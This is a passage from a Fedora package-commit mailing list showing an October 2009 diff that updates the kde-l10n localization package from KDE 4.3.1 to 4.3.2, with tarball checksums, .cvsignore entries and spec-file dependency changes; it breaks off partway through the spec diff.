+900a15881c7377f7921bbb0df3caf729  kde-l10n-is-4.3.2.tar.bz2
+3cfbb949b349a906f57def2c89f2c2ae  kde-l10n-it-4.3.2.tar.bz2
+1ca9a0e6f75ef439b1dc88d7c296a8a3  kde-l10n-ja-4.3.2.tar.bz2
+791fb8901976bbc36b39ec2b2d7f6029  kde-l10n-kk-4.3.2.tar.bz2
+81715c650925f13710a8d1b392bebe12  kde-l10n-km-4.3.2.tar.bz2
+042925c6ed9cadc79724bee269ee0f65  kde-l10n-kn-4.3.2.tar.bz2
+7d647e695d3d2876a7e13505b031d5db  kde-l10n-ko-4.3.2.tar.bz2
+15780380183dc634432a5ccb8ec2d64d  kde-l10n-ku-4.3.2.tar.bz2
+38f82eed9070bbeabdb51a4896b9d163  kde-l10n-lt-4.3.2.tar.bz2
+65ee66d320e3ebaff80ceb99b1bad57f  kde-l10n-lv-4.3.2.tar.bz2
+e640d6641063ea5d456e0d7cebec1076  kde-l10n-mai-4.3.2.tar.bz2
+9b766deb486b27d1352a74692080bd75  kde-l10n-mk-4.3.2.tar.bz2
+f67feb93c8623950e764e2462797194c  kde-l10n-ml-4.3.2.tar.bz2
+d5bce17fb1035cd120c9ae010210ddf9  kde-l10n-mr-4.3.2.tar.bz2
+8c0546118de40edb0f1bc94cc039b5b6  kde-l10n-nb-4.3.2.tar.bz2
+85b56e0f003c1120ff594cc5c15be857  kde-l10n-nds-4.3.2.tar.bz2
+dcfae722fdffbf206f1eca58351929b8  kde-l10n-nl-4.3.2.tar.bz2
+ab6bdb6c5f24a94854d3d86f53719ec8  kde-l10n-nn-4.3.2.tar.bz2
+c59e70fc4a903465e5c249001d0da9a9  kde-l10n-pa-4.3.2.tar.bz2
+cbfce0042af8a9990da704d1235482dc  kde-l10n-pl-4.3.2.tar.bz2
+4816f831c718dc5ec46aa2061e426b6c  kde-l10n-pt_BR-4.3.2.tar.bz2
+f4bbea70d7b3b4ddfe35da223bd0d71d  kde-l10n-pt-4.3.2.tar.bz2
+d2ce5f6159812a46be8bd90450a40d67  kde-l10n-ro-4.3.2.tar.bz2
+a305436d6b05dcd7c50df6fa9da57797  kde-l10n-ru-4.3.2.tar.bz2
+e991a942e6257151bea80f79e23c376d  kde-l10n-sk-4.3.2.tar.bz2
+b8ff0a9ff8e57a7d4b569e0447870604  kde-l10n-sl-4.3.2.tar.bz2
+928477630a257358e96bf8952cd1afd1  kde-l10n-sr-4.3.2.tar.bz2
+214f1215d14173a48513ccb89562c9e0  kde-l10n-sv-4.3.2.tar.bz2
+c9d0fad8838646d324390d60ff61ae3f  kde-l10n-tg-4.3.2.tar.bz2
+3dd5b9046b73cca4969b5b7c13538a8c  kde-l10n-th-4.3.2.tar.bz2
+bc4b5a8f76ec00860b31e0cb487ec675  kde-l10n-tr-4.3.2.tar.bz2
+cdaa98c18c7c484fa1133e35e188f18d  kde-l10n-uk-4.3.2.tar.bz2
+dfee77469f5a35e1eb464c162ae0c085  kde-l10n-wa-4.3.2.tar.bz2
+51313b7654a381ad22c2c467129bc331  kde-l10n-zh_CN-4.3.2.tar.bz2
+ccf254b30c4286a7980aebf2e3b98cc1  kde-l10n-zh_TW-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:26:19 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:26:19 +0000 (UTC)
Subject: rpms/kde-l10n/F-10 .cvsignore, 1.18, 1.19 kde-l10n.spec, 1.66,
	1.67 sources, 1.27, 1.28
Message-ID: <20091006122619.C08A811C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kde-l10n/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22381/F-10

Modified Files:
	.cvsignore kde-l10n.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/F-10/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	5 Aug 2009 15:46:12 -0000	1.18
+++ .cvsignore	6 Oct 2009 12:26:19 -0000	1.19
@@ -1,280 +1,57 @@
-kde-l10n-ar-4.2.85.tar.bz2
-kde-l10n-nds-4.2.85.tar.bz2
-kde-l10n-bg-4.2.85.tar.bz2
-kde-l10n-bn_IN-4.2.85.tar.bz2
-kde-l10n-ca-4.2.85.tar.bz2
-kde-l10n-csb-4.2.85.tar.bz2
-kde-l10n-cs-4.2.85.tar.bz2
-kde-l10n-da-4.2.85.tar.bz2
-kde-l10n-de-4.2.85.tar.bz2
-kde-l10n-el-4.2.85.tar.bz2
-kde-l10n-en_GB-4.2.85.tar.bz2
-kde-l10n-es-4.2.85.tar.bz2
-kde-l10n-et-4.2.85.tar.bz2
-kde-l10n-eu-4.2.85.tar.bz2
-kde-l10n-fi-4.2.85.tar.bz2
-kde-l10n-fr-4.2.85.tar.bz2
-kde-l10n-ga-4.2.85.tar.bz2
-kde-l10n-gl-4.2.85.tar.bz2
-kde-l10n-gu-4.2.85.tar.bz2
-kde-l10n-he-4.2.85.tar.bz2
-kde-l10n-hi-4.2.85.tar.bz2
-kde-l10n-hu-4.2.85.tar.bz2
-kde-l10n-is-4.2.85.tar.bz2
-kde-l10n-it-4.2.85.tar.bz2
-kde-l10n-ja-4.2.85.tar.bz2
-kde-l10n-kk-4.2.85.tar.bz2
-kde-l10n-km-4.2.85.tar.bz2
-kde-l10n-kn-4.2.85.tar.bz2
-kde-l10n-ko-4.2.85.tar.bz2
-kde-l10n-ku-4.2.85.tar.bz2
-kde-l10n-lt-4.2.85.tar.bz2
-kde-l10n-lv-4.2.85.tar.bz2
-kde-l10n-mai-4.2.85.tar.bz2
-kde-l10n-mk-4.2.85.tar.bz2
-kde-l10n-ml-4.2.85.tar.bz2
-kde-l10n-mr-4.2.85.tar.bz2
-kde-l10n-nb-4.2.85.tar.bz2
-kde-l10n-nl-4.2.85.tar.bz2
-kde-l10n-nn-4.2.85.tar.bz2
-kde-l10n-pa-4.2.85.tar.bz2
-kde-l10n-pl-4.2.85.tar.bz2
-kde-l10n-pt_BR-4.2.85.tar.bz2
-kde-l10n-pt-4.2.85.tar.bz2
-kde-l10n-ro-4.2.85.tar.bz2
-kde-l10n-ru-4.2.85.tar.bz2
-kde-l10n-sk-4.2.85.tar.bz2
-kde-l10n-sl-4.2.85.tar.bz2
-kde-l10n-sr-4.2.85.tar.bz2
-kde-l10n-sv-4.2.85.tar.bz2
-kde-l10n-tg-4.2.85.tar.bz2
-kde-l10n-th-4.2.85.tar.bz2
-kde-l10n-tr-4.2.85.tar.bz2
-kde-l10n-uk-4.2.85.tar.bz2
-kde-l10n-wa-4.2.85.tar.bz2
-kde-l10n-zh_CN-4.2.85.tar.bz2
-kde-l10n-zh_TW-4.2.85.tar.bz2
-kde-l10n-ar-4.2.95.tar.bz2
-kde-l10n-bg-4.2.95.tar.bz2
-kde-l10n-bn_IN-4.2.95.tar.bz2
-kde-l10n-ca-4.2.95.tar.bz2
-kde-l10n-csb-4.2.95.tar.bz2
-kde-l10n-cs-4.2.95.tar.bz2
-kde-l10n-da-4.2.95.tar.bz2
-kde-l10n-de-4.2.95.tar.bz2
-kde-l10n-el-4.2.95.tar.bz2
-kde-l10n-en_GB-4.2.95.tar.bz2
-kde-l10n-es-4.2.95.tar.bz2
-kde-l10n-et-4.2.95.tar.bz2
-kde-l10n-eu-4.2.95.tar.bz2
-kde-l10n-fi-4.2.95.tar.bz2
-kde-l10n-fr-4.2.95.tar.bz2
-kde-l10n-ga-4.2.95.tar.bz2
-kde-l10n-gl-4.2.95.tar.bz2
-kde-l10n-gu-4.2.95.tar.bz2
-kde-l10n-he-4.2.95.tar.bz2
-kde-l10n-hi-4.2.95.tar.bz2
-kde-l10n-hu-4.2.95.tar.bz2
-kde-l10n-is-4.2.95.tar.bz2
-kde-l10n-it-4.2.95.tar.bz2
-kde-l10n-ja-4.2.95.tar.bz2
-kde-l10n-kk-4.2.95.tar.bz2
-kde-l10n-km-4.2.95.tar.bz2
-kde-l10n-kn-4.2.95.tar.bz2
-kde-l10n-ko-4.2.95.tar.bz2
-kde-l10n-ku-4.2.95.tar.bz2
-kde-l10n-lt-4.2.95.tar.bz2
-kde-l10n-lv-4.2.95.tar.bz2
-kde-l10n-mai-4.2.95.tar.bz2
-kde-l10n-mk-4.2.95.tar.bz2
-kde-l10n-ml-4.2.95.tar.bz2
-kde-l10n-mr-4.2.95.tar.bz2
-kde-l10n-nb-4.2.95.tar.bz2
-kde-l10n-nds-4.2.95.tar.bz2
-kde-l10n-nl-4.2.95.tar.bz2
-kde-l10n-nn-4.2.95.tar.bz2
-kde-l10n-pa-4.2.95.tar.bz2
-kde-l10n-pl-4.2.95.tar.bz2
-kde-l10n-pt_BR-4.2.95.tar.bz2
-kde-l10n-pt-4.2.95.tar.bz2
-kde-l10n-ro-4.2.95.tar.bz2
-kde-l10n-ru-4.2.95.tar.bz2
-kde-l10n-sk-4.2.95.tar.bz2
-kde-l10n-sl-4.2.95.tar.bz2
-kde-l10n-sr-4.2.95.tar.bz2
-kde-l10n-sv-4.2.95.tar.bz2
-kde-l10n-tg-4.2.95.tar.bz2
-kde-l10n-th-4.2.95.tar.bz2
-kde-l10n-tr-4.2.95.tar.bz2
-kde-l10n-uk-4.2.95.tar.bz2
-kde-l10n-wa-4.2.95.tar.bz2
-kde-l10n-zh_CN-4.2.95.tar.bz2
-kde-l10n-zh_TW-4.2.95.tar.bz2
-kde-l10n-ar-4.2.96.tar.bz2
-kde-l10n-bg-4.2.96.tar.bz2
-kde-l10n-bn_IN-4.2.96.tar.bz2
-kde-l10n-ca-4.2.96.tar.bz2
-kde-l10n-csb-4.2.96.tar.bz2
-kde-l10n-cs-4.2.96.tar.bz2
-kde-l10n-da-4.2.96.tar.bz2
-kde-l10n-de-4.2.96.tar.bz2
-kde-l10n-el-4.2.96.tar.bz2
-kde-l10n-en_GB-4.2.96.tar.bz2
-kde-l10n-es-4.2.96.tar.bz2
-kde-l10n-et-4.2.96.tar.bz2
-kde-l10n-eu-4.2.96.tar.bz2
-kde-l10n-fi-4.2.96.tar.bz2
-kde-l10n-fr-4.2.96.tar.bz2
-kde-l10n-ga-4.2.96.tar.bz2
-kde-l10n-gl-4.2.96.tar.bz2
-kde-l10n-gu-4.2.96.tar.bz2
-kde-l10n-he-4.2.96.tar.bz2
-kde-l10n-hi-4.2.96.tar.bz2
-kde-l10n-hu-4.2.96.tar.bz2
-kde-l10n-is-4.2.96.tar.bz2
-kde-l10n-it-4.2.96.tar.bz2
-kde-l10n-ja-4.2.96.tar.bz2
-kde-l10n-kk-4.2.96.tar.bz2
-kde-l10n-km-4.2.96.tar.bz2
-kde-l10n-kn-4.2.96.tar.bz2
-kde-l10n-ko-4.2.96.tar.bz2
-kde-l10n-ku-4.2.96.tar.bz2
-kde-l10n-lt-4.2.96.tar.bz2
-kde-l10n-lv-4.2.96.tar.bz2
-kde-l10n-mai-4.2.96.tar.bz2
-kde-l10n-mk-4.2.96.tar.bz2
-kde-l10n-ml-4.2.96.tar.bz2
-kde-l10n-mr-4.2.96.tar.bz2
-kde-l10n-nb-4.2.96.tar.bz2
-kde-l10n-nds-4.2.96.tar.bz2
-kde-l10n-nl-4.2.96.tar.bz2
-kde-l10n-nn-4.2.96.tar.bz2
-kde-l10n-pa-4.2.96.tar.bz2
-kde-l10n-pl-4.2.96.tar.bz2
-kde-l10n-pt_BR-4.2.96.tar.bz2
-kde-l10n-pt-4.2.96.tar.bz2
-kde-l10n-ro-4.2.96.tar.bz2
-kde-l10n-ru-4.2.96.tar.bz2
-kde-l10n-sk-4.2.96.tar.bz2
-kde-l10n-sl-4.2.96.tar.bz2
-kde-l10n-sr-4.2.96.tar.bz2
-kde-l10n-sv-4.2.96.tar.bz2
-kde-l10n-tg-4.2.96.tar.bz2
-kde-l10n-th-4.2.96.tar.bz2
-kde-l10n-tr-4.2.96.tar.bz2
-kde-l10n-uk-4.2.96.tar.bz2
-kde-l10n-wa-4.2.96.tar.bz2
-kde-l10n-zh_CN-4.2.96.tar.bz2
-kde-l10n-zh_TW-4.2.96.tar.bz2
-kde-l10n-ar-4.2.98.tar.bz2
-kde-l10n-bg-4.2.98.tar.bz2
-kde-l10n-bn_IN-4.2.98.tar.bz2
-kde-l10n-ca-4.2.98.tar.bz2
-kde-l10n-csb-4.2.98.tar.bz2
-kde-l10n-cs-4.2.98.tar.bz2
-kde-l10n-da-4.2.98.tar.bz2
-kde-l10n-de-4.2.98.tar.bz2
-kde-l10n-el-4.2.98.tar.bz2
-kde-l10n-en_GB-4.2.98.tar.bz2
-kde-l10n-es-4.2.98.tar.bz2
-kde-l10n-et-4.2.98.tar.bz2
-kde-l10n-eu-4.2.98.tar.bz2
-kde-l10n-fi-4.2.98.tar.bz2
-kde-l10n-fr-4.2.98.tar.bz2
-kde-l10n-ga-4.2.98.tar.bz2
-kde-l10n-gl-4.2.98.tar.bz2
-kde-l10n-gu-4.2.98.tar.bz2
-kde-l10n-he-4.2.98.tar.bz2
-kde-l10n-hi-4.2.98.tar.bz2
-kde-l10n-hu-4.2.98.tar.bz2
-kde-l10n-is-4.2.98.tar.bz2
-kde-l10n-it-4.2.98.tar.bz2
-kde-l10n-ja-4.2.98.tar.bz2
-kde-l10n-kk-4.2.98.tar.bz2
-kde-l10n-km-4.2.98.tar.bz2
-kde-l10n-kn-4.2.98.tar.bz2
-kde-l10n-ko-4.2.98.tar.bz2
-kde-l10n-ku-4.2.98.tar.bz2
-kde-l10n-lt-4.2.98.tar.bz2
-kde-l10n-lv-4.2.98.tar.bz2
-kde-l10n-mai-4.2.98.tar.bz2
-kde-l10n-mk-4.2.98.tar.bz2
-kde-l10n-ml-4.2.98.tar.bz2
-kde-l10n-mr-4.2.98.tar.bz2
-kde-l10n-nb-4.2.98.tar.bz2
-kde-l10n-nds-4.2.98.tar.bz2
-kde-l10n-nl-4.2.98.tar.bz2
-kde-l10n-nn-4.2.98.tar.bz2
-kde-l10n-pa-4.2.98.tar.bz2
-kde-l10n-pl-4.2.98.tar.bz2
-kde-l10n-pt_BR-4.2.98.tar.bz2
-kde-l10n-pt-4.2.98.tar.bz2
-kde-l10n-ro-4.2.98.tar.bz2
-kde-l10n-ru-4.2.98.tar.bz2
-kde-l10n-sk-4.2.98.tar.bz2
-kde-l10n-sl-4.2.98.tar.bz2
-kde-l10n-sr-4.2.98.tar.bz2
-kde-l10n-sv-4.2.98.tar.bz2
-kde-l10n-tg-4.2.98.tar.bz2
-kde-l10n-th-4.2.98.tar.bz2
-kde-l10n-tr-4.2.98.tar.bz2
-kde-l10n-uk-4.2.98.tar.bz2
-kde-l10n-wa-4.2.98.tar.bz2
-kde-l10n-zh_CN-4.2.98.tar.bz2
-kde-l10n-zh_TW-4.2.98.tar.bz2
-kde-l10n-ar-4.3.0.tar.bz2
-kde-l10n-bg-4.3.0.tar.bz2
-kde-l10n-bn_IN-4.3.0.tar.bz2
-kde-l10n-ca-4.3.0.tar.bz2
-kde-l10n-csb-4.3.0.tar.bz2
-kde-l10n-cs-4.3.0.tar.bz2
-kde-l10n-da-4.3.0.tar.bz2
-kde-l10n-de-4.3.0.tar.bz2
-kde-l10n-el-4.3.0.tar.bz2
-kde-l10n-en_GB-4.3.0.tar.bz2
-kde-l10n-es-4.3.0.tar.bz2
-kde-l10n-et-4.3.0.tar.bz2
-kde-l10n-eu-4.3.0.tar.bz2
-kde-l10n-fi-4.3.0.tar.bz2
-kde-l10n-fr-4.3.0.tar.bz2
-kde-l10n-ga-4.3.0.tar.bz2
-kde-l10n-gl-4.3.0.tar.bz2
-kde-l10n-gu-4.3.0.tar.bz2
-kde-l10n-he-4.3.0.tar.bz2
-kde-l10n-hi-4.3.0.tar.bz2
-kde-l10n-hu-4.3.0.tar.bz2
-kde-l10n-is-4.3.0.tar.bz2
-kde-l10n-it-4.3.0.tar.bz2
-kde-l10n-ja-4.3.0.tar.bz2
-kde-l10n-kk-4.3.0.tar.bz2
-kde-l10n-km-4.3.0.tar.bz2
-kde-l10n-kn-4.3.0.tar.bz2
-kde-l10n-ko-4.3.0.tar.bz2
-kde-l10n-ku-4.3.0.tar.bz2
-kde-l10n-lt-4.3.0.tar.bz2
-kde-l10n-lv-4.3.0.tar.bz2
-kde-l10n-mai-4.3.0.tar.bz2
-kde-l10n-mk-4.3.0.tar.bz2
-kde-l10n-ml-4.3.0.tar.bz2
-kde-l10n-mr-4.3.0.tar.bz2
-kde-l10n-nb-4.3.0.tar.bz2
-kde-l10n-nds-4.3.0.tar.bz2
-kde-l10n-nl-4.3.0.tar.bz2
-kde-l10n-nn-4.3.0.tar.bz2
-kde-l10n-pa-4.3.0.tar.bz2
-kde-l10n-pl-4.3.0.tar.bz2
-kde-l10n-pt_BR-4.3.0.tar.bz2
-kde-l10n-pt-4.3.0.tar.bz2
-kde-l10n-ro-4.3.0.tar.bz2
-kde-l10n-ru-4.3.0.tar.bz2
-kde-l10n-sk-4.3.0.tar.bz2
-kde-l10n-sl-4.3.0.tar.bz2
-kde-l10n-sr-4.3.0.tar.bz2
-kde-l10n-sv-4.3.0.tar.bz2
-kde-l10n-tg-4.3.0.tar.bz2
-kde-l10n-th-4.3.0.tar.bz2
-kde-l10n-tr-4.3.0.tar.bz2
-kde-l10n-uk-4.3.0.tar.bz2
-kde-l10n-wa-4.3.0.tar.bz2
-kde-l10n-zh_CN-4.3.0.tar.bz2
-kde-l10n-zh_TW-4.3.0.tar.bz2
+kde-l10n-ar-4.3.2.tar.bz2
+kde-l10n-bg-4.3.2.tar.bz2
+kde-l10n-bn_IN-4.3.2.tar.bz2
+kde-l10n-ca-4.3.2.tar.bz2
+kde-l10n-csb-4.3.2.tar.bz2
+kde-l10n-cs-4.3.2.tar.bz2
+kde-l10n-da-4.3.2.tar.bz2
+kde-l10n-de-4.3.2.tar.bz2
+kde-l10n-el-4.3.2.tar.bz2
+kde-l10n-en_GB-4.3.2.tar.bz2
+kde-l10n-es-4.3.2.tar.bz2
+kde-l10n-et-4.3.2.tar.bz2
+kde-l10n-eu-4.3.2.tar.bz2
+kde-l10n-fi-4.3.2.tar.bz2
+kde-l10n-fr-4.3.2.tar.bz2
+kde-l10n-ga-4.3.2.tar.bz2
+kde-l10n-gl-4.3.2.tar.bz2
+kde-l10n-gu-4.3.2.tar.bz2
+kde-l10n-he-4.3.2.tar.bz2
+kde-l10n-hi-4.3.2.tar.bz2
+kde-l10n-hr-4.3.2.tar.bz2
+kde-l10n-hu-4.3.2.tar.bz2
+kde-l10n-is-4.3.2.tar.bz2
+kde-l10n-it-4.3.2.tar.bz2
+kde-l10n-ja-4.3.2.tar.bz2
+kde-l10n-kk-4.3.2.tar.bz2
+kde-l10n-km-4.3.2.tar.bz2
+kde-l10n-kn-4.3.2.tar.bz2
+kde-l10n-ko-4.3.2.tar.bz2
+kde-l10n-ku-4.3.2.tar.bz2
+kde-l10n-lt-4.3.2.tar.bz2
+kde-l10n-lv-4.3.2.tar.bz2
+kde-l10n-mai-4.3.2.tar.bz2
+kde-l10n-mk-4.3.2.tar.bz2
+kde-l10n-ml-4.3.2.tar.bz2
+kde-l10n-mr-4.3.2.tar.bz2
+kde-l10n-nb-4.3.2.tar.bz2
+kde-l10n-nds-4.3.2.tar.bz2
+kde-l10n-nl-4.3.2.tar.bz2
+kde-l10n-nn-4.3.2.tar.bz2
+kde-l10n-pa-4.3.2.tar.bz2
+kde-l10n-pl-4.3.2.tar.bz2
+kde-l10n-pt_BR-4.3.2.tar.bz2
+kde-l10n-pt-4.3.2.tar.bz2
+kde-l10n-ro-4.3.2.tar.bz2
+kde-l10n-ru-4.3.2.tar.bz2
+kde-l10n-sk-4.3.2.tar.bz2
+kde-l10n-sl-4.3.2.tar.bz2
+kde-l10n-sr-4.3.2.tar.bz2
+kde-l10n-sv-4.3.2.tar.bz2
+kde-l10n-tg-4.3.2.tar.bz2
+kde-l10n-th-4.3.2.tar.bz2
+kde-l10n-tr-4.3.2.tar.bz2
+kde-l10n-uk-4.3.2.tar.bz2
+kde-l10n-wa-4.3.2.tar.bz2
+kde-l10n-zh_CN-4.3.2.tar.bz2
+kde-l10n-zh_TW-4.3.2.tar.bz2


Index: kde-l10n.spec
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/F-10/kde-l10n.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- kde-l10n.spec	5 Sep 2009 02:56:30 -0000	1.66
+++ kde-l10n.spec	6 Oct 2009 12:26:19 -0000	1.67
@@ -1,8 +1,8 @@
 %define buildall 0
 
 Name: kde-l10n
-Version: 4.3.1
-Release: 2%{dist}
+Version: 4.3.2
+Release: 1%{dist}
 Url: http://www.kde.org
 Summary: Internationalization support for KDE
 Group: User Interface/Desktops
@@ -74,15 +74,12 @@ Source61: ftp://ftp.kde.org/pub/kde/stab
 Source62: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kde-l10n-hr-%{version}.tar.bz2
 Source1000: subdirs-kde-l10n
 
-# upstream patches
-
-Requires: kde-filesystem
-
-BuildRequires: kdelibs4-devel >= %{version}
+BuildRequires: cmake
 BuildRequires: findutils
 BuildRequires: gettext
-BuildRequires: kde-filesystem >= 4
-BuildRequires: cmake
+BuildRequires: kdelibs4-devel >= %{version}
+
+Requires: kde-filesystem
 
 %description
 Internationalization support for KDE
@@ -90,7 +87,7 @@ Internationalization support for KDE
 %package Afrikaans
 Summary: Afrikaans language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-af = %{version}-%{release}
 
 %description Afrikaans
@@ -99,7 +96,7 @@ Afrikaans support for KDE
 %package Arabic 
 Summary: Arabic language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ar = %{version}-%{release}
 
 %description Arabic
@@ -108,7 +105,7 @@ Arabic support for KDE
 %package Azerbaijani
 Summary: Azerbaijani language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-af = %{version}-%{release}
 
 %description Azerbaijani
@@ -117,7 +114,7 @@ Azerbaijani language support for KDE
 %package Basque
 Summary: Basque language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-eu = %{version}-%{release}
 
 %description Basque
@@ -126,7 +123,7 @@ Basque language support for KDE
 %package Belarusian
 Summary: Belarusian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-be = %{version}-%{release}
 
 %description Belarusian
@@ -135,7 +132,7 @@ Belarusian language support for KDE
 %package Bengali-India
 Summary: Bengali India language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bn_IN = %{version}-%{release}
 Obsoletes: %{name}-Bengali
 
@@ -145,7 +142,7 @@ Bengali India language support for KDE
 %package Bulgarian
 Summary: Bulgarian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bg = %{version}-%{release}
 
 %description Bulgarian
@@ -154,7 +151,7 @@ Bulgarian language support for KDE
 %package Tibetan
 Summary: Tibetan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bo = %{version}-%{release}
 
 %description Tibetan
@@ -163,7 +160,7 @@ Tibetan language support for KDE
 %package Breton
 Summary: Breton language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-br = %{version}-%{release}
 
 %description Breton
@@ -172,7 +169,7 @@ Breton language support for KDE
 %package Bosnian
 Summary: Bosnian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-bs = %{version}-%{release}
 
 %description Bosnian
@@ -181,7 +178,7 @@ Bosnian language support for KDE
 %package Catalan
 Summary: Catalan language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ca = %{version}-%{release}
 
 %description Catalan
@@ -190,7 +187,7 @@ Catalan language support for KDE
 %package Czech
 Summary: Czech language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-cs = %{version}-%{release}
 
 %description Czech
@@ -199,7 +196,7 @@ Czech language support for KDE
 %package Welsh
 Summary: Welsh language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-cy = %{version}-%{release}
 
 %description Welsh
@@ -208,7 +205,7 @@ Welsh language support for KDE
 %package Danish
 Summary: Danish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-da = %{version}-%{release}
 
 %description Danish
@@ -217,7 +214,7 @@ Danish language support for KDE
 %package German
 Summary: German language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-de = %{version}-%{release}
 
 %description German
@@ -226,7 +223,7 @@ German language support for KDE
 %package Greek
 Summary: Greek language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-el = %{version}-%{release}
 
 %description Greek
@@ -235,7 +232,7 @@ Greek language support for KDE
 %package Gujarati
 Summary: Gujarati language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-gu = %{version}-%{release}
 
 %description Gujarati
@@ -244,7 +241,7 @@ Gujarati language support for KDE
 %package British
 Summary: British English support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-en_GB = %{version}-%{release}
 
 %description British
@@ -253,7 +250,7 @@ British English language support for KDE
 %package Esperanto
 Summary: Esperanto support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-eo = %{version}-%{release}
 
 %description Esperanto
@@ -262,7 +259,7 @@ Esperanto support for KDE
 %package Spanish
 Summary: Spanish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-es = %{version}-%{release}
 
 %description Spanish
@@ -271,7 +268,7 @@ Spanish language support for KDE
 %package Estonian
 Summary: Estonian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-et = %{version}-%{release}
 
 %description Estonian
@@ -280,7 +277,7 @@ Estonian language support for KDE
 %package Farsi
 Summary: Farsi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fa = %{version}-%{release}
 
 %description Farsi
@@ -289,7 +286,7 @@ Farsi language support for KDE
 %package Finnish
 Summary: Finnish language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fi = %{version}-%{release}
 
 %description Finnish
@@ -298,7 +295,7 @@ Finnish language support for KDE
 %package Faroese
 Summary: Faroese language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fo = %{version}-%{release}
 
 %description Faroese
@@ -307,7 +304,7 @@ Faroese language support for KDE
 %package French
 Summary: French language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fr = %{version}-%{release}
 
 %description French
@@ -316,7 +313,7 @@ French language support for KDE
 %package Frisian
 Summary: Frisian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-fy = %{version}-%{release}
 
 %description Frisian
@@ -326,7 +323,7 @@ Frisian language support for KDE
 Summary: Irish language support for KDE
 Group: User Interface/Desktops
 Obsoletes: kde-i18n-Gaeilge
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ga = %{version}-%{release}
 
 %description Irish
@@ -335,7 +332,7 @@ Irish language support for KDE
 %package Galician
 Summary: Galician language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-gl = %{version}-%{release}
 
 %description Galician
@@ -344,7 +341,7 @@ Galician language support for KDE
 %package Hebrew
 Summary: Hebrew language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-he = %{version}-%{release}
 
 %description Hebrew
@@ -353,7 +350,7 @@ Hebrew language support for KDE
 %package Hindi
 Summary: Hindi language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hi = %{version}-%{release}
 
 %description Hindi
@@ -362,7 +359,7 @@ Hindi language support for KDE
 %package Croatian
 Summary: Croatian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-hr = %{version}-%{release}
 
 %description Croatian
@@ -371,7 +368,7 @@ Croatian language support for KDE
 %package Hungarian
 Summary: Hungarian language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
